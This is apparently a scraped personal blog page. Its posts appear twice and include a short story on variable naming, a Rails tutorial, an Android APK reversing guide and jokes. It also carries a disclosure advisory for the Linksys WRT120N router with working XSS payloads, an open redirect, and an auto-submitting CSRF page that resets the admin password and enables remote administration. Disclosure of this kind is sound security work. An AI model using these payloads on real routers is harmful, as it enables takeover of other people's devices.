On the Importance of Naming Variables
~a short story~
During the last semester of my engineering degree, I took a class on information retrieval (IR), which focused on search engine internals and file matching. I was taking the class in parallel with a "capstone" course. The capstone was the last requirement for graduation, where teams of students were paired up to work on a project for an actual client company. Capstone was a notorious timesink, so most other courses were put on the back-burner.
The final project for the IR class was to make a program that would accept an image, process it for patterns, and match it to similar images from a corpus. The project was split into two halves: building the searchable corpus and building the front-end. We were grouped into pairs and I happened to wind up with a fellow capstoner, Jim. We talked briefly and I took the corpus half.
We had well over a month to complete the project but, like most college projects, it was ignored until the weekend before the due date. The icing on the cake was the realization that the program for corpus generation took well over an hour to run, even with a small subset of images. This made testing tedious and slow.
An all-nighter ensued, and when I finally passed out, the process was quietly humming away, abusing images and collecting patterns. Without the front-end to actually accept input and match images, I could only hope that corpus would be correct.
The next day, I asked Jim for some testing but received only vague responses. It was clear he hadn't completed the front-end yet. No sweat, we've all been there. I sent him my half of the project so he could finish up.
Finals came and went. IR was last, and the final would be a class presentation of our image-matching projects. It was officially the last thing I ever needed to do for my degree. Excitement ran high. Jim said that our image results were weird, but was positive they were correct. Right, sure thing.
Classmates demonstrated their projects, and it quickly became clear that our results were definitely not correct. An image of the American flag should not have been matched as similar to an image of a kitten. We fumbled through our presentation, realizing we had failed.
Feeling what I assume was frustration and pity, the professor decided to give us until the end of the day to repent. We would receive a just-technically-passing grade on the project if we could fix the matching. The last class of our college careers was now officially over but we were not done. We ran to the lab and furiously opened vim terminals.
I poured over my code, comparing implementations to documentation. It was dark outside now. No breaks, no dinner. The code looked solid. This was my personal nightmare scenario. At least an obvious error would have meant we were done.
Jim was having no luck, either, so we started doubling up on the code. I rolled my chair over to Jim's desk and realized something was wrong. There were no functions, no classes - just a single large block of code in a single large file. I tried to dig into it. Variables were named single sequential letters: a, b, c, etc. Soon the letters doubled: af, ag, ah. I was now in "ba" territory. Jim noticed my horror, and explained that this style of coding saved him significant time during his development. Somehow, I was doubtful.
An hour later, all hope seemed lost. It was past 9:30pm now. From a few feet away, Jim began to laugh. I assumed he'd gone insane. No, he'd found the error! In one of the crucial pattern matching functions, he'd passed in "af," a buffer of pre-processed image data, when it should have been "ag," a buffer of processed pattern data. So obvious, we both should have caught it straight away, I was informed.
A wave of relief as Jim sent an email to the professor, followed by a wave of anger as I debated killing him with the heavy mechanical keyboard. The next morning, technically our first day of post-college, was spent with the professor, demonstrating our now-working program. He was rightly skeptical of our explanation (read: completely pissed off), but passed us with a promised low score. It was a sad way to end, but we were done.
When I asked him what he was thinking with his variable naming, Jim was confused. "This is a common programming problem." No, it really isn't. Words were exchanged, ways were parted, and I'm not sure what happened to Jim after that. As a farewell gift, this story has always stuck with me, and I hope the same is true for him, too.
So, please, for everyone's sake, the next time you're working on a team project, take an extra two seconds to name your variable "image_data_buffer" instead of "af." It may not seem important now but you'll thank yourself if shit hits the fan.
Saturday, February 27, 2016
Naming Variables: A Short Story
Saturday, August 22, 2015
Checklists In Rails 4
This will briefly cover how to create a many-to-many form checklist using the Rails 4 method collection_check_boxes.
In this scenario we'll have a User model (with a first_name and last_name) and a Subject model (with a name). A User should be able to select multiple Subjects. The User/Subject associations are both many-to-many.
If you don't already have it, add the associations to your models and create a linking table.
app/models/subject.rb
app/controllers/users_controller.rb
app/views/users/edit.html.erb
Relevant Links
In this scenario we'll have a User model (with a first_name and last_name) and a Subject model (with a name). A User should be able to select multiple Subjects. The User/Subject associations are both many-to-many.
If you don't already have it, add the associations to your models and create a linking table.
app/models/subject.rb
has_and_belongs_to_many :usersapp/models/user.rb
has_and_belongs_to_many :subjectsdb/migrate/[DATETIME]_create_join_table_user_subject.rb
class CreateJoinTableUserSubject < ActiveRecord::MigrationNext, allow your UserController to accept an array of Subject IDs in its parameters.
def change
create_join_table :users, :subjects do |t|
t.index [:user_id, :subject_id]
t.index [:subject_id, :user_id]
end
end
end
app/controllers/users_controller.rb
privateTo generate the checklist collection_check_boxes will, by default, render all of your checkboxes with labels next to each other. I want them stacked so I've added a block to the end. Inside of the block, you can define the HTML generated for each item using the check_box and label helper methods.
def user_params
params.require(:user).permit(:first_name,
:last_name,
:subject_ids => [])
end
app/views/users/edit.html.erb
<%= form_for(@user) do |f| %>Assuming you have an update route already functioning in your UserController, your @user.update(user_params) should be good to go. If you'd like to display a User's selected Subjects, you can use @user.subjects.map{|s| s.name}.join(', ').
<p>Subjects</p>
<%= f.collection_check_boxes(:subject_ids, Subject.all, :id, :name) do |s| %>
<%= s.check_box %> <%= s.label %> <br />
<% end %>
<%= f.submit "Update Your Subjects" %>
<% end %>
Relevant Links
Friday, August 21, 2015
Android Reversing Bootcamp
[This article was originally written in April 2013 and published in the Spring 2014 issue of 2600: The Hacker Quarterly. Feel free to replace references to BackTrack with Kali or Santoku. If you're into this kind of stuff and want to learn more, pick up a copy of the excellent Android Hacker's Handbook.]
Android Reversing Bootcamp
by Andy G (@vxhex)
So, you've built your first Android application. Now what?
This is a brief introduction to Android application reversing. It assumes a basic knowledge of Java (packages, classes, etc.) and the Android SDK (activities, intents, and the manifest). If you're new to Android development, it'd be helpful to read through some of Vogella's excellent tutorials.[1]
Most of the tools we'll be using are available in the "Reverse Engineering" section on the latest BackTrack (currently version 5rc3).[2]
Reversing engineering can violate some EULAs. It can be used for malicious or legitimate purposes. Be careful what you hack (or who you talk to about it).
First Thing's First
Android apps are packaged into an APK (application package) file for distribution. APKs are based on Java's JAR format: they're zipped archives containing the app's manifest, resources, and code. Like JARs, you can unpackage them with any zip archive manager.
To get our hands on some APKs, we'll be using ASTRO File Manager, available in the Google Play store. Astro allows you to "back up" your apps by saving them to your device's memory as an APK. In Astro, navigate to the Application Manager, select an installed app, and click "backup." The APK will be saved to backups/apps/. From there, you can upload it to your dropbox, email it to yourself, or USB it from your device.
Other methods exist for acquiring APKs (like scripts for the Play store and ADB pulls). If you're interested in trying these out, flex your Google-fu and let me know what worked best for you.
XML Xcitement
Now that we have some APKs, let's unpack them using apktool. Apktool is a program for unpacking and repacking APKs. You can unpack an APK with:
AndroidManifest.xml is a good place to start.[3] Here we can check permissions, services, and the app's main activity.
An app's starting activity will have an intent-filter listing an action of android.intent.action.MAIN. An app is permitted to have multiple entry points, but it is common to see just one. Make a note of the app's starting activity, as that will be the starting point for our code analysis.
The res folder contains the app's resources, like icons, menus, and strings. Android encourages storing strings and values in XML files instead of hardcoding them into your application, and these can be found in res/values/. Menus, also defined in XML, are found in res/layout/.
An assets folder may also be present, containing miscellaneous files used by the app.
Reading Some Code
It's fairly easy to reconstruct decent Java from an APK. The Java typically won't be perfect, but it's readable and lets you examine the app's logic.
First we'll convert our APK to a JAR using dex2jar.
We'll use JD-GUI to look at what we've got.[4] Although it doesn't come standard on BackTrack, JD-GUI will run out-of-the-box. Just extract the tarball and click the "jd-gui" icon to run. From here, head to File->Open, and select the newly-created jar. This will load the app into the decompiler and you should see the packages laid out in a nice tree to the left. You can start from the main activity's onCreate() method and work your way through the application's flow.
If you don't want to install any new software, you can use a Java decompiler called jad. We can unzip the jar file, explore the package structure, and run jad on the .class files we're interested in. This will produce .jad files that contain the class's Java code. From here, you're free to grep away.
That Was Too Easy
Let's head back to apktool's unpacked stuff and check out the "smali" folder. This folder contains the decompiled bytecode of the application. Its folder structure represents the various packages that make up the app, and the .smali files can be opened with any text editor.
Smali is an assembly-like translation of the Dalvik bytecode. This normally sits inside of the APK in a file called classes.dex. Because smali is a direct translation of the app's code, once you understand how it works, you can edit these files to modify the app. This is commonly how APKs are cracked or repackaged with malware. Conversely, it can also be used to remove advertisements or malicious payloads. This ability to edit and repackage an APK makes Smali worth diving into a bit deeper.
Smali Syntax
This article won't make you fluent in Smali, but this should give you enough information to start hacking on things. Keep a reference guide open as you work.[5]
Smali uses single characters to represent Java's primitive types.
Methods follow a format of methodName(parameters)returnValue. For example, here's a method that takes a char array and int as parameters and returns a boolean:
Comments can be added by starting a line with a # character.
Smali Instructions
Smali instructions are human-readable representations of Dalvik opcodes. A reference will usually be necessary to look up exact syntax and functionality of an instruction, but you can generally infer what's happening.[6]
Like assembly, Smali instructions operate on registers. These are represented by a letter, indicating the type of register, and a number. Registers starting with a v, like v2, are local registers, while a p indicates a parameter register.
Smali Examples
Now let's look at some examples and break down each one.
Smali can be a bit overwhelming in large doses, so again grep is your friend when hunting for specific functionality. Otherwise, start in the main activity and look for the onCreate method:
What Now?
Practice makes perfect. You'll learn quite a bit by building basic "hello world" type apps and hacking on them.
Other topics to explore include ProGuard, SQLite, OWASP's GoatDroid Project, binary reversing (for proprietary binary assets, like those used in $vendor's apps), and apktool's debugging features.
Continued Reading
Blog dedicated to android cracking: androidcracking.blogspot.com
Forum for mobile developers: forum.xda-developers.com
Android reversing examples: www.exploit-db.com/papers/21325/
References
[1] www.vogella.com/articles/Android/article.html
[2] www.backtrack-linux.org
[3] developer.android.com/guide/topics/manifest/manifest-intro.html
[4] java.decompiler.free.fr/?q=jdgui
[5] code.google.com/p/smali/wiki/TypesMethodsAndFields
[6] pallergabor.uw.hu/androidblog/dalvik_opcodes.html
[7] developer.android.com/tools/publishing/app-signing.html
Android Reversing Bootcamp
by Andy G (@vxhex)
So, you've built your first Android application. Now what?
This is a brief introduction to Android application reversing. It assumes a basic knowledge of Java (packages, classes, etc.) and the Android SDK (activities, intents, and the manifest). If you're new to Android development, it'd be helpful to read through some of Vogella's excellent tutorials.[1]
Most of the tools we'll be using are available in the "Reverse Engineering" section on the latest BackTrack (currently version 5rc3).[2]
Reversing engineering can violate some EULAs. It can be used for malicious or legitimate purposes. Be careful what you hack (or who you talk to about it).
First Thing's First
Android apps are packaged into an APK (application package) file for distribution. APKs are based on Java's JAR format: they're zipped archives containing the app's manifest, resources, and code. Like JARs, you can unpackage them with any zip archive manager.
To get our hands on some APKs, we'll be using ASTRO File Manager, available in the Google Play store. Astro allows you to "back up" your apps by saving them to your device's memory as an APK. In Astro, navigate to the Application Manager, select an installed app, and click "backup." The APK will be saved to backups/apps/. From there, you can upload it to your dropbox, email it to yourself, or USB it from your device.
Other methods exist for acquiring APKs (like scripts for the Play store and ADB pulls). If you're interested in trying these out, flex your Google-fu and let me know what worked best for you.
XML Xcitement
Now that we have some APKs, let's unpack them using apktool. Apktool is a program for unpacking and repacking APKs. You can unpack an APK with:
apktool d application.apkThis will create a folder containing the unpacked APK's components.
AndroidManifest.xml is a good place to start.[3] Here we can check permissions, services, and the app's main activity.
An app's starting activity will have an intent-filter listing an action of android.intent.action.MAIN. An app is permitted to have multiple entry points, but it is common to see just one. Make a note of the app's starting activity, as that will be the starting point for our code analysis.
The res folder contains the app's resources, like icons, menus, and strings. Android encourages storing strings and values in XML files instead of hardcoding them into your application, and these can be found in res/values/. Menus, also defined in XML, are found in res/layout/.
An assets folder may also be present, containing miscellaneous files used by the app.
Reading Some Code
It's fairly easy to reconstruct decent Java from an APK. The Java typically won't be perfect, but it's readable and lets you examine the app's logic.
First we'll convert our APK to a JAR using dex2jar.
d2j-dex2jar.sh application.apkThis will produce a JAR file, named application-dex2jar.jar, that can be reversed like any other Java application.
We'll use JD-GUI to look at what we've got.[4] Although it doesn't come standard on BackTrack, JD-GUI will run out-of-the-box. Just extract the tarball and click the "jd-gui" icon to run. From here, head to File->Open, and select the newly-created jar. This will load the app into the decompiler and you should see the packages laid out in a nice tree to the left. You can start from the main activity's onCreate() method and work your way through the application's flow.
If you don't want to install any new software, you can use a Java decompiler called jad. We can unzip the jar file, explore the package structure, and run jad on the .class files we're interested in. This will produce .jad files that contain the class's Java code. From here, you're free to grep away.
unzip application-dex2jar.jar
jad com/package/application/*.class
grep onCreate *.jad
That Was Too Easy
Let's head back to apktool's unpacked stuff and check out the "smali" folder. This folder contains the decompiled bytecode of the application. Its folder structure represents the various packages that make up the app, and the .smali files can be opened with any text editor.
Smali is an assembly-like translation of the Dalvik bytecode. This normally sits inside of the APK in a file called classes.dex. Because smali is a direct translation of the app's code, once you understand how it works, you can edit these files to modify the app. This is commonly how APKs are cracked or repackaged with malware. Conversely, it can also be used to remove advertisements or malicious payloads. This ability to edit and repackage an APK makes Smali worth diving into a bit deeper.
Smali Syntax
This article won't make you fluent in Smali, but this should give you enough information to start hacking on things. Keep a reference guide open as you work.[5]
Smali uses single characters to represent Java's primitive types.
Z - booleanArrays are represented as a [ before a variable type. For example, [[I would be a two-dimensional array of ints.
I - int
C - char
V - void
B - byte
F - float
D - double
J - long
S - short
Methods follow a format of methodName(parameters)returnValue. For example, here's a method that takes a char array and int as parameters and returns a boolean:
Smali: method([CI)ZObjects are represented with a capital L followed by the object's package and name. For example, an object of Java's String class looks like:
Java: boolean method(char[], int);
Ljava/lang/String;L designates the object, java/lang/ is the package name, and String is the class itself. Object attributes appear as Name:Type. An object's methods and attributes are accessed using the -> operator.
Comments can be added by starting a line with a # character.
Smali Instructions
Smali instructions are human-readable representations of Dalvik opcodes. A reference will usually be necessary to look up exact syntax and functionality of an instruction, but you can generally infer what's happening.[6]
Like assembly, Smali instructions operate on registers. These are represented by a letter, indicating the type of register, and a number. Registers starting with a v, like v2, are local registers, while a p indicates a parameter register.
Smali Examples
Now let's look at some examples and break down each one.
if-nez v0, :label_nameThe if-xxx statements are conditionals. if-nez stands for "if not equal zero." This will evaluate to true if our target, v0, is not equal to zero. :label_name is the label for the block of code we'll jump to if our condition is met.
:label_nameThis is a labeled block of code that moves a string constant into the v0 register. This block of code can be jumped to by referencing label_name. After this operation, we can use this string by referencing v0.
const-string v0, "v0 has a nonzero value."
invoke-virtual {v9}, Ljava/lang/String;->trim()Ljava/lang/String;invoke-xxx statements are used to call methods. In this code, Java's trim() method is called on the String object located in v9. The resulting String object is then moved into v9, overwriting our original. The v9 register is our reference to Java's "this," or the calling object. The method prototype follows the syntax previously described: the calling object type (String), the method (trim()), then the return object (also a String). move-result-object then moves the previous instruction's return value into the designated register: v9.
move-result-object v9
Smali can be a bit overwhelming in large doses, so again grep is your friend when hunting for specific functionality. Otherwise, start in the main activity and look for the onCreate method:
.method public onCreate(Landroid/os/Bundle;)VAfter you make changes to an app, you can rebuild it using:
apktool b UnpackedAPKThe resulting APK can then be signed[7], via Keytool and Jarsigner, and distributed for installation.
What Now?
Practice makes perfect. You'll learn quite a bit by building basic "hello world" type apps and hacking on them.
Other topics to explore include ProGuard, SQLite, OWASP's GoatDroid Project, binary reversing (for proprietary binary assets, like those used in $vendor's apps), and apktool's debugging features.
Continued Reading
Blog dedicated to android cracking: androidcracking.blogspot.com
Forum for mobile developers: forum.xda-developers.com
Android reversing examples: www.exploit-db.com/papers/21325/
References
[1] www.vogella.com/articles/Android/article.html
[2] www.backtrack-linux.org
[3] developer.android.com/guide/topics/manifest/manifest-intro.html
[4] java.decompiler.free.fr/?q=jdgui
[5] code.google.com/p/smali/wiki/TypesMethodsAndFields
[6] pallergabor.uw.hu/androidblog/dalvik_opcodes.html
[7] developer.android.com/tools/publishing/app-signing.html
Wednesday, April 23, 2014
Refactor Avoidance Driven Development (RADD)
Refactor-Avoidance-Driven Development (RADD) is a software development process that emphasizes the eventual Pull Request that the code will generate. In RADD, care is taken to design commits such that no legacy code shows up in the Pull Request's diff. This is done to expedite the Pull Request and ensure that the developer does not become responsible for refactoring legacy code.
It is a type of development anti-pattern. Compare to Test-Driven Development (TDD).
It is a type of development anti-pattern. Compare to Test-Driven Development (TDD).
Labels:
development,
github,
programming,
pull request,
refactor
Thursday, October 17, 2013
Google Understands Ubuntu, a Visual Essay
Sunday, September 15, 2013
Linksys WRT120N Multiple Vulnerabilities (XSS, Redirect, CSRF)
The following examples assume the device is located at 192.168.1.1. The attacks require authentication to the router or a CSRF attack against an authenticated user.
Firmware
v1.0.07 (Build 02) (Download)
Serial and PIN
The device serial number, PIN code, firmware, MAC, and other information can be found at https://192.168.1.1/Hidden_infoPage.stm
Open Redirect
Page: wait.stm
Param: redirect_url
https://192.168.1.1/wait.stm?redirect_url=http://www.google.com&delay_time=0
Reflected XSS
Page: traceroute.stm
Param: taddress
https://192.168.1.1/traceroute.stm?taddress=www.google.com'><script>alert(1);</script>
Persistent XSS
Page: Setup->Basic Setup
Param: host_name
Param: domain_name
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
host_name='><script>alert(1);</script>
&domain_name='><script>alert(1);</script>
&delay=0&opp=add&gateway1=&gateway2=&gateway3=&gateway4=&LangSel=0&change_lang=0&wan_type=0&curAtmIdx=3%27&dhcp_clt=1&mtu_type=0&lan_ip1=192&lan_ip2=168&lan_ip3=1&lan_ip4=1&lan_subnet_mask=0&lan_mask1=255&lan_mask2=255&lan_mask3=255&lan_mask4=0&dhcp_server=1&r_dhcp_server=1&start_ip4=100&num_addr=50&lease_m=1440&s_dns11=0&s_dns12=0&s_dns13=0&s_dns14=0&sdns1=0.0.0.0&s_dns21=0&s_dns22=0&s_dns23=0&s_dns24=0&sdns2=0.0.0.0&s_dns31=0&s_dns32=0&s_dns33=0&s_dns34=0&sdns3=0.0.0.0&wins1=0&wins2=0&wins3=0&wins4=0&time_zone=4+1&exec_cgis=SetBS&ret_url=%2Findex.stm%3Ftitle%3DSetup-Basic%2520Setup
Persistent XSS
Page: Setup->Advanced Routing
Param: router_name
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
router_name='><script>alert(1);</script>
&delay=0&op=add&NAT=1&nat_enable=1&RIP=0&set_num=0&sr_ip1=0&sr_ip2=0&sr_ip3=0&sr_ip4=0&sr_mask1=0&sr_mask2=0&sr_mask3=0&sr_mask4=0&sr_gw1=0&sr_gw2=0&sr_gw3=0&sr_gw4=0&routing_interface=0&exec_cgis=SetAR&ret_url=%2Findex.stm%3Ftitle%3DSetup-Advanced%2520Routing
Persistent XSS
Page: Wireless->Wireless Security
Param: sharedkey
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
sharedkey=</script><script>alert(1);//
&delay=0&sec_mode=psk1&enc_type=0&rds_ip1=0&rds_ip2=0&rds_ip3=0&rds_ip4=0&rds_port=1812&rds_secret=&group_key_second=3600&encryption_type=0&passPhrase=&generate=0&key1=&key2=&key3=&key4=&TX_Key=0&exec_cgis=WirWS&ret_url=%2Findex.stm%3Ftitle%3DWireless-Wireless%2520Security
Persistent XSS
Page: Applications & Gaming->Port Range Triggering
Param: name0 (All nameX fields are vulnerable)
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
name0="><script>alert(1);</script>
&delay=0&tport0_start=1&tport0_end=2&gport0_start=1&gport0_end=2&name1=&tport1_start=&tport1_end=&gport1_start=&gport1_end=&name2=&tport2_start=&tport2_end=&gport2_start=&gport2_end=&name3=&tport3_start=&tport3_end=&gport3_start=&gport3_end=&name4=&tport4_start=&tport4_end=&gport4_start=&gport4_end=&name5=&tport5_start=&tport5_end=&gport5_start=&gport5_end=&name6=&tport6_start=&tport6_end=&gport6_start=&gport6_end=&name7=&tport7_start=&tport7_end=&gport7_start=&gport7_end=&name8=&tport8_start=&tport8_end=&gport8_start=&gport8_end=&name9=&tport9_start=&tport9_end=&gport9_start=&gport9_end=&exec_cgis=AppPRT&ret_url=%2Findex.stm%3Ftitle%3DApplications%2520%2526%2520Gaming-Port%2520Range%2520Triggering
CSRF
Remote administration can be enabled and passwords can be changed via cross site request forgery. The following example page can be used.
OS Command Injection
Similar models (like the WRT110) suffer from blind command injection attacks in parameters on the Ping diagnostics page. While unverified, it's likely the WRT120N contains similar vulnerabilities. The router repeatedly power cycled while testing this, so your mileage may vary.
https://192.168.1.1/ping.stm?paddress=X&ping_size=X&ping_no=X&ping_int=X&ping_time=X
Timeline
Linksys support says that the 10 minute session timeout within the WRT120N will mitigate the attack, so no firmware update is to be released.
Firmware
v1.0.07 (Build 02) (Download)
Serial and PIN
The device serial number, PIN code, firmware, MAC, and other information can be found at https://192.168.1.1/Hidden_infoPage.stm
Open Redirect
Page: wait.stm
Param: redirect_url
https://192.168.1.1/wait.stm?redirect_url=http://www.google.com&delay_time=0
Reflected XSS
Page: traceroute.stm
Param: taddress
https://192.168.1.1/traceroute.stm?taddress=www.google.com'><script>alert(1);</script>
Persistent XSS
Page: Setup->Basic Setup
Param: host_name
Param: domain_name
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
host_name='><script>alert(1);</script>
&domain_name='><script>alert(1);</script>
&delay=0&opp=add&gateway1=&gateway2=&gateway3=&gateway4=&LangSel=0&change_lang=0&wan_type=0&curAtmIdx=3%27&dhcp_clt=1&mtu_type=0&lan_ip1=192&lan_ip2=168&lan_ip3=1&lan_ip4=1&lan_subnet_mask=0&lan_mask1=255&lan_mask2=255&lan_mask3=255&lan_mask4=0&dhcp_server=1&r_dhcp_server=1&start_ip4=100&num_addr=50&lease_m=1440&s_dns11=0&s_dns12=0&s_dns13=0&s_dns14=0&sdns1=0.0.0.0&s_dns21=0&s_dns22=0&s_dns23=0&s_dns24=0&sdns2=0.0.0.0&s_dns31=0&s_dns32=0&s_dns33=0&s_dns34=0&sdns3=0.0.0.0&wins1=0&wins2=0&wins3=0&wins4=0&time_zone=4+1&exec_cgis=SetBS&ret_url=%2Findex.stm%3Ftitle%3DSetup-Basic%2520Setup
Persistent XSS
Page: Setup->Advanced Routing
Param: router_name
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
router_name='><script>alert(1);</script>
&delay=0&op=add&NAT=1&nat_enable=1&RIP=0&set_num=0&sr_ip1=0&sr_ip2=0&sr_ip3=0&sr_ip4=0&sr_mask1=0&sr_mask2=0&sr_mask3=0&sr_mask4=0&sr_gw1=0&sr_gw2=0&sr_gw3=0&sr_gw4=0&routing_interface=0&exec_cgis=SetAR&ret_url=%2Findex.stm%3Ftitle%3DSetup-Advanced%2520Routing
Persistent XSS
Page: Wireless->Wireless Security
Param: sharedkey
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
sharedkey=</script><script>alert(1);//
&delay=0&sec_mode=psk1&enc_type=0&rds_ip1=0&rds_ip2=0&rds_ip3=0&rds_ip4=0&rds_port=1812&rds_secret=&group_key_second=3600&encryption_type=0&passPhrase=&generate=0&key1=&key2=&key3=&key4=&TX_Key=0&exec_cgis=WirWS&ret_url=%2Findex.stm%3Ftitle%3DWireless-Wireless%2520Security
Persistent XSS
Page: Applications & Gaming->Port Range Triggering
Param: name0 (All nameX fields are vulnerable)
URL - https://192.168.1.1/cgi-bin/apply.cgi
POST Data
name0="><script>alert(1);</script>
&delay=0&tport0_start=1&tport0_end=2&gport0_start=1&gport0_end=2&name1=&tport1_start=&tport1_end=&gport1_start=&gport1_end=&name2=&tport2_start=&tport2_end=&gport2_start=&gport2_end=&name3=&tport3_start=&tport3_end=&gport3_start=&gport3_end=&name4=&tport4_start=&tport4_end=&gport4_start=&gport4_end=&name5=&tport5_start=&tport5_end=&gport5_start=&gport5_end=&name6=&tport6_start=&tport6_end=&gport6_start=&gport6_end=&name7=&tport7_start=&tport7_end=&gport7_start=&gport7_end=&name8=&tport8_start=&tport8_end=&gport8_start=&gport8_end=&name9=&tport9_start=&tport9_end=&gport9_start=&gport9_end=&exec_cgis=AppPRT&ret_url=%2Findex.stm%3Ftitle%3DApplications%2520%2526%2520Gaming-Port%2520Range%2520Triggering
CSRF
Remote administration can be enabled and passwords can be changed via cross site request forgery. The following example page can be used.
<html>
<head><title>CSRF Test</title></head>
<body>
<form id="csrf" method="post"
action="https://192.168.1.1/cgi-bin/apply.cgi">
<!-- Change admin password to NewPassword --!>
<input type="hidden" name="change_pass" value="1" />
<input type="hidden" name="password" value="NewPassword" />
<input type="hidden" name="c_password" value="NewPassword" />
<input type="hidden" name="defPassword" value="admin" />
<!-- Enable remote administration via https port 6666 --!>
<input type="hidden" name="r_web_https" value="1" />
<input type="hidden" name="r_web_wleb" value="1" />
<input type="hidden" name="remote_adm" value="1" />
<input type="hidden" name="r_remote_adm" value="1" />
<input type="hidden" name="r_remote_proto" value="1" />
<input type="hidden" name="admin_port" value="6666" />
<!-- Other values expected by the script --!>
<input type="hidden" name="delay" value="0" />
<input type="hidden" name="beginip" value="0.0.0.0" />
<input type="hidden" name="endip" value="0.0.0.0" />
<input type="hidden" name="upnp" value="1" />
<input type="hidden" name="r_upnp" value="1" />
<input type="hidden" name="r_upnp_uset" value="1" />
<input type="hidden" name="r_upnp_dinetacc" value="0" />
<input type="hidden" name="wlan" value="1" />
<input type="hidden" name="reboot" value="0" />
<input type="hidden" name="exec_cgis" value="AdmM" />
<input type="hidden" name="ret_url"
value="%2Findex.stm%3Ftitle%3DAdministration-Management" />
</form>
<script>document.getElementById("csrf").submit()</script>
</body>
</html>
OS Command Injection
Similar models (like the WRT110) suffer from blind command injection attacks in parameters on the Ping diagnostics page. While unverified, it's likely the WRT120N contains similar vulnerabilities. The router repeatedly power cycled while testing this, so your mileage may vary.
https://192.168.1.1/ping.stm?paddress=X&ping_size=X&ping_no=X&ping_int=X&ping_time=X
Timeline
- 11 Apr 2013 - initial contact with support
- 12 Apr 2013 - ticket opened
- 17 Jul 2013 - asked for update
- 18 Jul 2013 - update, ticket still open
- 04 Sep 2013 - ticket closed
Linksys support says that the 10 minute session timeout within the WRT120N will mitigate the attack, so no firmware update is to be released.
Labels:
advisory,
csrf,
open redirect,
router,
vulnerability,
xss
Saturday, September 7, 2013
Cryptanalysis of David Spade
A recent cryptographic analysis of David Spade's numerology revealed a celebrity 0day: mathematical proof that David Spade is To Mega Therion, the Great Beast of Revelation.
DAVID = 4 1 22 9 4
SPADE = 19 16 1 4 5
4 + 1 + 22 + 9 + 4 = 40
19 + 16 + 1 + 4 + 5 = 45
2 names of 5 letters
10 letters total in name
40 / 10 = 4
45 / 10 = 4.5
4 * 4.5 = 18
18 = 6 * 3 = 6 + 6 + 6
SIX THREE TIMES! 666!
I haven't figured out how PGP figures into this yet, but I'm working on it.
DAVID = 4 1 22 9 4
SPADE = 19 16 1 4 5
4 + 1 + 22 + 9 + 4 = 40
19 + 16 + 1 + 4 + 5 = 45
2 names of 5 letters
10 letters total in name
40 / 10 = 4
45 / 10 = 4.5
4 * 4.5 = 18
18 = 6 * 3 = 6 + 6 + 6
SIX THREE TIMES! 666!
I haven't figured out how PGP figures into this yet, but I'm working on it.
Subscribe to:
Posts (Atom)





